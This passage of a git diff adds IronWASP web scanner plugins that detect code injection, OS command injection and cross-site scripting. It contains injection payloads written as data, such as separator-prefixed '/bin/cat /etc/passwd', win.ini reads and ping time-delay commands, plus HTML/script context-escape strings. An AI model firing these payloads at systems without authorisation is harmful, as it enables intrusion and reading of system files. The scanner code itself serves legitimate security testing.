str(self.time)) + payload = "{0}{1}{2}".format(p, func_to_execute, c) + self.SendAndAnalyzeTimePayload(payload, func_to_execute, avg_delay) + + def SendAndAnalyzeTimePayload(self, payload, func_to_execute, avg_time): + for i in range(2): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + #we reduce the delay by 3 seconds to make up for the the fact that the ping could complete earlier + if res.RoundTrip >= self.time * 1000: + if i == 0: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Rechecking the delay by sending the same payload again>".format(res.RoundTrip, self.time * 1000)) + else: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Delay observed twice, indicates Code Injection!!>".format(res.RoundTrip, self.time * 1000)) + self.AddToTriggers(payload, "The payload in this request contains a code snippet which if executed will cause the response to be delayed by {0} milliseconds. The code snippet is: {1}".format(self.time * 1000, func_to_execute), "", "It took {0}milliseconds to recieve the response from the server. It took so long because of the {1} millisecond delay caused by the payload.".format(res.RoundTrip, self.time * 1000)) + reason = self.GetBlindReason(payload, func_to_execute, res.RoundTrip, avg_time) + self.reasons.append(reason) + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. No delay observed.".format(res.RoundTrip)) + return + else: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. Delay did not reoccur, initial delay could have been due to network issues.".format(res.RoundTrip)) + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) == 1: + self.ReportCodeInjection(FindingConfidence.Medium) + elif len(self.RequestTriggers) > 1: + self.ReportCodeInjection(FindingConfidence.High) + + def ReportCodeInjection(self, confidence): + self.scnr.SetTraceTitle("Code Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Code Injection Found" + pr.Summary = "Code Injection been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = confidence + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Code Injection is an issue where it is possible to inject and execute code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Code_Injection>>>" + return Summary + + def GetErrorReason(self, payload, code, num_a, num_b): + #payload - ';print 1234 + 7678;# + #code - print 1234 + 7678 + #num_a - 1234 + #num_b - 7678 + #Reason = "IronWASP sent >';print 1234 + 7678;#> as payload to the application. This payload has a small snippet of code - >print 1234 + 7678>. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small snippet of code - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then >{0}> and >{1}> will be added together and the sum of the addition will be printed back in the response. ".format(num_a, num_b) + #Reason = Reason + "The response that came back from the application after the payload was injected had the value 34345, which is the sum of 1234 & 7678. This indicates that the injected code snippet could have been executed on the server-side." + Reason = Reason + "The response that came back from the application after the payload was injected had the value >{0}>, which is the sum of >{1}> & >{2}>. ".format(num_a + num_b, num_a, num_b) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the two numbers to some other value. Then you can observe if the response contains the sum of two numbers." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + def GetBlindReason(self, payload, code, delayed_time, normal_time): + #Reason = "IronWASP sent ';sleep(5);# as payload to the application. This payload has a small snippet of code - sleep(5). " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small snippet of code - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then the application will return the response >{0}> milliseconds later than usual. ".format(self.time * 1000) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. ".format(delayed_time) + #Reason = Reason + "Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "Normally this particular request is processed at around >{0}> milliseconds. ".format(normal_time) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Blind" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of seconds of delay to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + +p = CodeInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/CommandInjection.py b/plugins/active/CommandInjection.py new file mode 100644 index 0000000..951566c --- /dev/null +++ b/plugins/active/CommandInjection.py @@ -0,0 +1,253 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re +#Inherit from the base ActivePlugin class +class CommandInjection(ActivePlugin): + #Check logic based on osCommanding.py of the W3AF project - http://w3af.sourceforge.net/ + seperators = ['', '&&', '|', ';'] + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + p = CommandInjection() + p.Name = "Command Injection" + p.Description = "Active Plugin to check for OS Command Injection vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_res = self.scnr.BaseResponse + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForCommandInjection() + self.AnalyzeTestResults() + + def CheckForCommandInjection(self): + self.scnr.Trace(">>Checking for Command Injection:>") + #start the checks + self.prefixes = [""] + if len(self.scnr.PreInjectionParameterValue) > 0: + self.prefixes.append(self.scnr.PreInjectionParameterValue) + self.CheckForEchoBasedCommandInjection() + self.CheckForTimeBasedCommandInjection() + + def CheckForEchoBasedCommandInjection(self): + + self.scnr.Trace(">>Checking for Command Injection by Printing File Contents:>") + for prefix in self.prefixes: + for seperator in self.seperators: + cmd = "/bin/cat /etc/passwd" + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeEchoPayload(payload, "etc/passwd", cmd) + + cmd = "type %SYSTEMROOT%\\win.ini" + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeEchoPayload(payload, "win.ini", cmd) + + cmd = "/bin/cat /etc/passwd" + payload = "{0} `{1}`".format(prefix, cmd) + self.SendAndAnalyzeEchoPayload(payload, "etc/passwd", cmd) + + cmd = "run type %SYSTEMROOT%\\win.ini" + payload = "{0} {1}".format(prefix, cmd) + self.SendAndAnalyzeEchoPayload(payload, "win.ini", cmd) + + def CheckForTimeBasedCommandInjection(self): + self.scnr.Trace(">>Checking for Command Injection by Inducing Time Delay:>") + #set the time related values for time-based command injection check + self.time = 10 + max_delay = 0 + min_delay = -1 + + self.scnr.Trace(">Sending three requests to get a baseline of the response time for time based check:") + base_line_delays = [] + self.avg_delay = 0 + for i in range(3): + res = self.scnr.Inject() + self.avg_delay = self.avg_delay + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + self.avg_delay = self.avg_delay / 3 + + self.scnr.Trace(">".join(base_line_delays)) + if min_delay > 5000: + self.time = ((max_delay + min_delay) / 1000) + 1 + else: + self.time = ((max_delay + 5000) / 1000) + 1 + #buffer to handle the time difference in the ping time and ping number + self.buffer = 3 + self.ping_count = self.time + self.buffer + + self.scnr.Trace(">Maximum Response Time - {0}ms. Minimum Response Time - {1}ms.>Induced Time Delay will be for {2}ms>".format(max_delay, min_delay, self.time * 1000)) + + for prefix in self.prefixes: + for seperator in self.seperators: + cmd = "ping -n {0} localhost".format(self.ping_count) + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "ping -c {0} localhost".format(self.ping_count) + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "/usr/sbin/ping -s localhost 1000 {0} ".format(self.ping_count) + payload = "{0}{1} {2} ".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "ping -c {0} localhost".format(self.ping_count) + payload = "{0} `{1}`".format(prefix, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "run ping -n {0} localhost".format(self.ping_count) + payload = "{0} {1}".format(prefix, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + def SendAndAnalyzeEchoPayload(self, payload, file_echoed, cmd): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + echoed_file_info = self.GetDownloadedFileInfo(res, file_echoed) + if len(echoed_file_info) > 0: + self.scnr.ResponseTrace(" ==> >Response contains contens of {0}>".format(file_echoed)) + self.AddToTriggers(payload, "The payload in this request contains a system command which if executed will add the numbers prints the contens of the {0} file on the server. The system command is : {1}".format(file_echoed, cmd), echoed_file_info, "This response body contains the contents of the {0} file".format(file_echoed)) + reason = self.GetErrorReason(payload, cmd, file_echoed, echoed_file_info) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> No trace of {0}".format(file_echoed)) + + def SendAndAnalyzeTimePayload(self, payload, cmd): + for i in range(2): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.RoundTrip >= (self.time * 1000): + if i == 0: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Rechecking the delay by sending the same payload again>".format(res.RoundTrip, self.time * 1000)) + else: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Delay observed twice, indicates Command Injection!!>".format(res.RoundTrip, self.time * 1000)) + self.AddToTriggers(payload, "The payload in this request contains a system command which if executed will cause the response to be delayed by {0} milliseconds. The system command is: {1}".format(self.time * 1000, cmd), "", "It took {0}milliseconds to recieve the response from the server. It took so long because of the {1} millisecond delay caused by the payload.".format(res.RoundTrip, self.time * 1000)) + reason = self.GetBlindReason(payload, cmd, res.RoundTrip) + self.reasons.append(reason) + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. No delay observed.".format(res.RoundTrip)) + return + else: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. Delay did not reoccur, initial delay could have been due to network issues.".format(res.RoundTrip)) + + def GetDownloadedFileInfo(self, res, file): + bs = res.BodyString.lower() + bbs = self.base_res.BodyString.lower() + + if file == "etc/passwd": + bs_c = bs.count("root:x:0:0:") + bbs_c = bbs.count("root:x:0:0:") + if bs_c > bbs_c: + return "root:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:x:0:0:" + + bs_c = bs.count("root:!:x:0:0:") + bbs_c = bbs.count("root:!:x:0:0:") + if bs_c > bbs_c: + return "root:!:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:!:x:0:0:" + + elif file == "win.ini": + bs_c = bs.count("[fonts]") + bbs_c = bbs.count("[fonts]") + if bs_c > bbs_c: + return "[fonts]" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("win.ini") > 0: + return "[fonts]" + + return "" + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResults(self): + if len(self.RequestTriggers) > 0: + self.ReportCommandInjection() + + def ReportCommandInjection(self): + self.scnr.SetTraceTitle("Command Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Command Injection Found" + pr.Summary = "Command Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Command Injection is an issue where it is possible to inject and execute operating system commands on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Command_Injection>>>" + return Summary + + def GetErrorReason(self, payload, cmd, echoed_file, file_content_match): + #payload - ';print 1234 + 7678;# + #code - print 1234 + 7678 + #num_a - 1234 + #num_b - 7678 + + #Reason = "IronWASP sent '; /bin/cat /etc/passwd as payload to the application. This payload has a small system command - /bin/cat /etc/passwd. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small system command - >{1}>. ".format(payload, cmd) + #Reason = Reason + "If this command is executed by the server then the contents of the >/etc/passwd> file will be present in the response. ".format(echoed_file) + Reason = Reason + "If this command is executed by the server then the contents of the >{0}> file will be present in the response. ".format(echoed_file) + #Reason = Reason + "The response that came back from the application after the payload was injected had the text >root:x:0:0:>, which is usually found in >/etc/passwd> files. " + Reason = Reason + "The response that came back from the application after the payload was injected had the text >{0}>, which is usually found in >{1}> files. ".format(file_content_match, echoed_file) + Reason = Reason + "This indicates that the injected command was executed by the server and the contents of the >{0}> file was printed in the response.".format(echoed_file) + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >{0}> file. ".format(echoed_file) + FalsePositiveCheck = FalsePositiveCheck + "After that you can try changing the file name to something else and see if the server prints those file contents." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + def GetBlindReason(self, payload, cmd, res_time): + #Reason = "IronWASP sent '; ping -n 8 localhost as payload to the application. This payload has a small system command - ping -n 8 localhost. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small system command - >{1}>. ".format(payload, cmd) + #Reason = Reason + "If this command is executed then the server will ping itself 8 times. This will cause the response to be returned around 5000 milliseconds later than usual. " + Reason = Reason + "If this command is executed then the server will ping itself >{0}> times. This will cause the response to be returned around >{1}> milliseconds later than usual. ".format(self.ping_count, self.time * 1000) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. Normally this particular request is processed at around >{1}> milliseconds. ".format(res_time, self.avg_delay) + Reason = Reason + "This indicates that the injected command could have been executed on the server-side." + + ReasonType = "Blind" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of ping requests sent to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + +p = CommandInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/CrossSiteScripting.py b/plugins/active/CrossSiteScripting.py new file mode 100644 index 0000000..d67f5a2 --- /dev/null +++ b/plugins/active/CrossSiteScripting.py @@ -0,0 +1,1011 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +class CrossSiteScripting(ActivePlugin): + + def GetInstance(self): + p = CrossSiteScripting() + p.Name = "Cross-site Scripting" + p.Version = "0.6" + p.Description = "Active Plugin to detect Cross-site Scripting vulnerabilities" + return p + + def Check(self, Scnr): + self.Scnr = Scnr + self.base_req = self.Scnr.BaseRequest + self.base_res = self.Scnr.BaseResponse + self.Confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + #Send a Random string for analysing injection nature + #ps = self.GetProbeString() + self.ps = Analyzer.GetProbeString() + + + self.Scnr.Trace(">>Checking Reflection Contexts with a Probe String:>") + self.Scnr.RequestTrace(" Injected Probe String - {0}".format(self.ps)) + + self.ps_res = self.Scnr.Inject(self.ps) + self.ps_req = self.Scnr.InjectedRequest.GetClone() + #Store the ProbeString in Analyzer for Stored XSS Reflection Checking + Analyzer.AddProbeString(self.ps, self.Scnr.InjectedRequest) + + res_details = " || Code - {0} | Length - {1}".format(self.ps_res.Code, self.ps_res.BodyLength) + if(self.ps_res.BodyString.Contains(self.ps)): + self.ps_contexts = self.GetContext(self.ps, self.ps_res) + self.ps_contexts = list(set(self.ps_contexts))#make the array unique + else: + self.ps_contexts = [] + + ps_contexts_string = "" + if(len(self.ps_contexts) == 0): + ps_contexts_string = ">No reflection>" + else: + ps_contexts_string = ">{0}>".format(",".join(self.ps_contexts)) + self.Scnr.ResponseTrace(" ==> Reflection contexts - {0}{1}".format(ps_contexts_string, res_details)) + + self.CheckCharsetSecurity() + self.CheckForCrossSiteCookieSetting() + + #Do Context specific checks + for context in self.ps_contexts: + if(context == "JS"): + self.CheckForInjectionInFullJS() + elif(context == "InLineJS" or context == "JSUrl" or context == "EventAttribute"): + self.CheckForInjectionInJSInsideHTML() + elif(context == "InLineVB" or context == "VBUrl"): + self.CheckForInjectionInVBInsideHTML() + elif(context == "UrlAttribute"): + self.CheckForInjectionInUrlAttribute() + elif(context == "CSS" or context == "InLineCSS"): + self.CheckForInjectionInFullCSS() + elif(context == "AttributeCSS"): + self.CheckForInjectionInCSSInsideStyleAttribute() + elif(context == "AttributeName"): + self.CheckForInjectionInAttributeName() + elif(context == "AttributeValueWithSingleQuote"): + self.CheckForInjectionInSingleQuoteAttributeValue() + elif(context == "AttributeValueWithDoubleQuote"): + self.CheckForInjectionInDoubleQuoteAttributeValue() + + #Do a HTML Injection Check irrespective of the context + self.CheckForInjectionInHtml() + + #Check for Injection in Special Attributes + self.CheckForInjectionInSpecialAttributes() + + #Scan is complete, analyse the results + self.AnalyseResults() + + def CheckForInjectionInHtml(self): + contexts = ["HTML"] + if (len(self.ps_contexts) == 0) or self.ps_contexts.Contains("Unknown") or self.ps_contexts.Contains("AttributeName") or self.ps_contexts.Contains("AttributeValueWithSingleQuote") or self.ps_contexts.Contains("AttributeValueWithDoubleQuote"): + contexts.append("HTML Escape") + if self.ps_contexts.Contains("Textarea"): + contexts.append("TEXTAREA tag") + if self.ps_contexts.Contains("InLineJS"): + contexts.append("SCRIPT tag") + if self.ps_contexts.Contains("InLineCSS"): + contexts.append("STYLE tag") + if self.ps_contexts.Contains("Comment"): + contexts.append("HTML Comment") + + for context in contexts: + prefixes = [] + suffixes = [] + attr_names = "" + attr_values = "" + trace_header = "" + trace_success = "" + trace_fail = "" + + if context == "HTML": + prefixes = [""] + suffixes = [""] + attr_name = "xhx" + attr_value = "yhy" + trace_header = "Checking HTML Injection in HTML Context" + trace_success = "Got HTML injection in HTML Context" + trace_fail = "Unable to inject HTML in HTML Context" + elif context == "HTML Escape": + prefixes = ["a\">", "a'>", "a>", "a\">", "a'>", "a>"] + suffixes = [""] + suffixes = [""] + attr_name = "xtx" + attr_value = "yty" + trace_header = "Checking HTML Injection by escaping Textarea tag Context" + trace_success = "Got HTML injection by escaping Textarea tag Context" + trace_fail = "Unable to inject HTML by escaping Textarea tag Context" + elif context == "SCRIPT tag": + prefixes = ["", "-->"] + suffixes = ["", ""] + attr_name = "xjx" + attr_value = "yjy" + trace_header = "Checking HTML Injection by escaping Script tag Context" + trace_success = "Got HTML injection by escaping Script tag Context" + trace_fail = "Unable to inject HTML by escaping Script tag Context" + elif context == "STYLE tag": + prefixes = ["", "-->"] + suffixes = ["", ""] + attr_name = "xsx" + attr_value = "ysy" + trace_header = "Checking HTML Injection by escaping Style tag Context" + trace_success = "Got HTML injection by escaping Style tag Context" + trace_fail = "Unable to inject HTML by escaping Style tag Context" + elif context == "HTML Comment": + prefixes = ["-->"] + suffixes = [""] + attr_name = "xcx" + attr_value = "ycy" + trace_header = "Checking HTML Injection by escaping HTML Comment Context" + trace_success = "Got HTML injection by escaping HTML Comment Context" + trace_fail = "Unable to inject HTML by escaping HTML Comment Context" + + self.Scnr.Trace(">>{0}:>".format(trace_header)) + for i in range(len(prefixes)): + payload = "{0}{3}".format(prefixes[i], attr_name, attr_value, suffixes[i]) + + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + + res_details = " || Code - {0} | Length - {1}".format(res.Code, res.BodyLength) + self.CheckResponseDetails(res) + if len(res.Html.Get("h", attr_name, attr_value)) > 0: + self.AddToTriggers(payload, "The payload in this request tries to inject an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. The payload is {2}".format(attr_name, attr_value, payload), payload, "This response contains an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. This was inserted by the payload.".format(attr_name, attr_value)) + self.SetConfidence(3) + self.Scnr.ResponseTrace(">{0}>{1}".format(trace_success, res_details)) + else: + self.Scnr.ResponseTrace("{0}{1}".format(trace_fail, res_details)) + + def CheckForInjectionInJSInsideHTML(self): + self.CheckForInjectionInJS(True) + + def CheckForInjectionInFullJS(self): + self.CheckForInjectionInJS(False) + + def CheckForInjectionInJS(self, InLine): + + script_contexts = [] + contaminated_scripts = [] + if(InLine): + contaminated_scripts = self.ps_res.Html.GetJavaScript(self.ps) + else: + contaminated_scripts.append(self.ps_res.BodyString) + payload_prefixes = [] + for script in contaminated_scripts: + payload_prefixes.append(self.GetJSPayload(script)) + self.CheckSinkAssignment(script) + script_contexts.extend(self.GetJSContexts(script)) + + script_contexts = list(set(script_contexts))#make the array unique + + if script_contexts.count("NormalString") > 0: + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps, "The random string from the payload is found in the JavaScript code section of this response.") + self.SetConfidence(1) + self.Scnr.Trace(">Probe string is reflected inside JavaScript Script outside Quotes. Possibly vulnerable!>") + + if len(script_contexts) > 0: + self.Scnr.Trace(">>Got injection inside JavaScript as - {0}>".format(",".join(script_contexts))) + self.Scnr.Trace(">>Checking for Injection in JS Context:>") + keyword = "dzkqivxy" + js_inj_success = False + for payload_prefix in payload_prefixes: + binders = [";", "\n", "\r"] + paddings = [";/*", ";//", "/*", "//"] + payload_inj_success = False + for binder in binders: + for padding in paddings: + if payload_inj_success: + break + payload = "{0}{1}{2}{3}".format(payload_prefix, binder, keyword, padding) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsExpressionStatement(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a JavaScript statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a JavaScript statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the JavaScript code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(3) + payload_inj_success = True + js_inj_success = True + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + + if not js_inj_success: + payload_prefixes = [] + if script_contexts.count("SingleQuotedString") > 0: + payload_prefixes.append("'") + if script_contexts.count("DoubleQuotedString") > 0: + payload_prefixes.append('"') + if script_contexts.count("SingleLineComment") > 0: + payload_prefixes.append('\r') + payload_prefixes.append('\n') + if script_contexts.count("MutliLineComment") > 0: + payload_prefixes.append('*/') + keyword = "dzpyqmw" + for pp in payload_prefixes: + payload = "{0}{1}".format(pp, keyword) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsNormalString(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a JavaScript statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a JavaScript statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the JavaScript code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(2) + js_inj_success = True + break + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + if not js_inj_success: + if script_contexts.count("NormalString") > 0: + js_inj_success = True + + if not js_inj_success: + self.ReportJSTestLead() + + def GetJSPayload(self, script): + context_finishers = ['', ')', ']', '}', '))', ')]', ')}', '])', ']]', ']}', '})', '}]', '}}'] + context_finishers.extend([')))', '))]', '))}', ')])', ')]]', ')]}', ')})', ')}]', ')}}', ']))', '])]']) + context_finishers.extend(['])}', ']])', ']]]', ']]}', ']})', ']}]', ']}}', '}))', '})]', '})}', '}])']) + context_finishers.extend(['}]]', '}]}', '}})', '}}]', '}}}']) + quotes = ["", "'", '"'] + padding = ";/*" + keyword = "dzkqivxy" + for cf in context_finishers: + for q in quotes: + payload_prefix = "{0}{1}".format(q, cf) + payload = "{0};{1}{2}".format(payload_prefix, keyword, padding) + script_updated = script.replace(self.ps, payload) + try: + if IronJint.IsExpressionStatement(script_updated, keyword): + return payload_prefix + except: + pass + return "" + + def CheckSinkAssignment(self, script): + try: + ij = IronJint.Trace(script, self.ps) + if len(ij.SourceToSinkLines) > 0: + self.Scnr.Trace(">>>Injected ProbeString was assigned to a DOM XSS Sink>>") + js_triggers = [] + for line in ij.SourceToSinkLines: + js_triggers.append(line) + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", "\r\n".join(js_triggers), "The random string from the payload has been found in DOM XSS sinks inside the JavaScript of this response.") + self.SetConfidence(3) + except: + pass + + def GetJSContexts(self, script): + script_contexts = [] + try: + script_contexts.extend(CodeContext.GetJavaScriptContext(script, self.ps)) + except: + pass + return script_contexts + + def IsExpressionStatement(self, res, keyword): + scripts = [] + if res.IsJavaScript: + if res.BodyString.count(keyword) > 0: + scripts.append(res.BodyString) + elif res.IsHtml: + scripts = res.Html.GetJavaScript(keyword) + + for script in scripts: + try: + if IronJint.IsExpressionStatement(script, keyword): + return True + except: + pass + return False + + def IsNormalString(self, res, keyword): + scripts = [] + if res.IsJavaScript: + if res.BodyString.count(keyword) > 0: + scripts.append(res.BodyString) + elif res.IsHtml: + scripts = res.Html.GetJavaScript(keyword) + + for script in scripts: + try: + script_contexts = [] + script_contexts.extend(CodeContext.GetJavaScriptContext(script, keyword)) + if script_contexts.count("NormalString"): + return True + except: + pass + return False + + def CheckForInjectionInVBInsideHTML(self): + self.Scnr.Trace(">>Checking for Script Injection inside VB Script Tag:>") + script_contexts = [] + contaminated_scripts = self.ps_res.Html.GetVisualBasic(self.ps) + for script in contaminated_scripts: + script_contexts.extend(self.GetVBContexts(script)) + + script_contexts = list(set(script_contexts))#make the array unique + if script_contexts.count("NormalString") > 0: + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps, "The random string from the payload has been found in the VB Script code section of this response.") + self.SetConfidence(1) + self.Scnr.Trace(">Probe string is reflected inside VB Script outside Quotes. Possibly vulnerable!>") + + if len(script_contexts) > 0: + self.Scnr.Trace(">>Got injection inside VB Script as - {0}>".format(",".join(script_contexts))) + + payload_prefixes = [""] + if script_contexts.count("DoubleQuotedString") > 0: + payload_prefixes.append('"') + if script_contexts.count("SingleLineComment") > 0: + payload_prefixes.append('\n') + keyword = "dzpxqmw" + vb_inj_success = False + for pp in payload_prefixes: + payload = "{0}{1}".format(pp, keyword) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsNormalVBString(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a VB statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a VB Script statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the VB Script code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(2) + vb_inj_success = True + break + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + + def GetVBContexts(self, script): + script_contexts = [] + try: + script_contexts.extend(CodeContext.GetVisualBasicContext(script, self.ps)) + 